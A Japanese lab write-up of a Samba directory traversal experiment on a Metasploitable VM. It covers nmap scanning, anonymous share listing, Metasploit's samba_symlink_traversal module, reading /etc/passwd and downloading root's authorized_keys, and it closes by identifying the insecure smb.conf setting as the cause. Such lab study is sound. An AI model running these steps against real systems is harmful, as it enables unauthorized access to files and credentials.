ディレクトリトラバーサルの実験
ディレクトリトラバーサル
これは本来アクセスしてほしくないディレクトリや
ファイルの位置を表示させ不正アクセスするというもの
詳しくは
ディレクトリトラバーサルの対策
を参考に
KaliLinux と Metasploitableで実験
nmap -sV -O -p- 192.168.1.137
により
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
の結果が途中にでてくることから
Samba が稼働しているので
共有サービスがあるのが確認できる
まず
smbclient コマンドで情報を集める
smbclient コマンドについては
を参考に
-L オプションを使うことで利用可能なサービス一覧をみれる
smbclient -L //192.168.1.137
を実行すると
Enter WORKGROUP\root's password:
となるので Enter
結果は
Anonymous login successful
Sharename Type Comment
--------- ---- -------
print$ Disk Printer Drivers
tmp Disk oh noes!
opt Disk
IPC$ IPC IPC Service (metasploitable server (Samba 3.0.20-Debian))
ADMIN$ IPC IPC Service (metasploitable server (Samba 3.0.20-Debian))
Reconnecting with SMB1 for workgroup listing.
Anonymous login successful
Server Comment
--------- -------
Workgroup Master
--------- -------
WORKGROUP RASPBERRYPI
となる
この中で怪しいのは
tmp Disk oh noes!
の部分
Sambaには共有フォルダ外へのシンボリックリンクの設定があり
これは
smb.conf の wide links で設定する
この部分が yes なら有効になっているが
最新のものならデフォルトで no になっている
例として
共有ファイルが 777権限で
これにシンボリックリンクがはってあるとき
wide links が yes ならアクセスできるユーザは
誰でも実行できる
Metasploit には
wide links が yes なら
ディレクトリトラバーサルを実現するモジュールがあるので
これを実行
msfconsole -q
でバナー省略で起動
use auxiliary/admin/smb/samba_symlink_traversal
set rhost 192.168.1.137
set smbshare tmp
exploit
で実行
set rhost で攻撃対象のIPを指定
set smbshare で 対象とする Sharename を指定
結果として
[*] Running module against 192.168.1.137
[*] 192.168.1.137:445 - Connecting to the server...
[*] 192.168.1.137:445 - Trying to mount writeable share 'tmp'...
[*] 192.168.1.137:445 - Trying to link 'rootfs' to the root filesystem...
[*] 192.168.1.137:445 - Now access the following share to browse the root filesystem:
[*] 192.168.1.137:445 - \\192.168.1.137\tmp\rootfs\
[*] Auxiliary module execution completed
により tmp 共有フォルダがマウントされているのがわかる
これで smbclient コマンドで
共有フォルダにアクセスできるようになる
一度
exit
で抜けて
smbclient //192.168.1.137/tmp
というように
//ホスト名/共有名
でアクセスすることができる
Enter WORKGROUP\root's password:
となるので Enter でOK
これで help コマンドで使用できるコマンドを調べることができる

この状態で
cd rootfs\
とすると rootfs であることがわかる

パスワードファイルの閲覧をするには
cd etc\
more passwd
で閲覧ができる
ただし root 権限ではないので
shadow を閲覧しようとしてもなにも表示されない
moreコマンドについては
【more】Linuxでファイルをページ単位で表示するコマンド
を参考に
more の画面から抜けるには q を押せばOK

次に get コマンドでroot ユーザの ssh 公開鍵のダウンロード
cd \rootfs\root\.ssh
get authorized_keys
exit
これで
KaliLinux のカレントディレクトリにダウンロードされる
これらの原因をみるには一度 metasplotable にログインし
設定を確認
ssh msfadmin@192.168.1.137
で ssh でパスワード認証でログイン
The authenticity of host '192.168.1.137 (192.168.1.137)' can't be established.
RSA key fingerprint is SHA256:BQHm5EoHX9GCiOLuVscegPXLQOsuPs+E9d/rrJB84rk.
Are you sure you want to continue connecting (yes/no/[fingerprint])?
となるので
yes を入力
msfadmin@192.168.1.137's password:
となるので
パスワードは mfsadmin を入力
これでログインできるので
vim /etc/samba/smb.conf
でファイルを開き
shift + g で最終行に移動
なお vim の操作については
Vim初心者に捧ぐ実践的入門
を参考に
ほかにも vim 使い方で検索するとでてくる
[tmp]
comment = oh noes!
read only = no
locking = no
path = /tmp
guest ok = yes
[opt]
read only = yes
locking = no
path = /tmp
となっていて
guest ok = yes
により認証なしの共有フォルダになっているのが原因
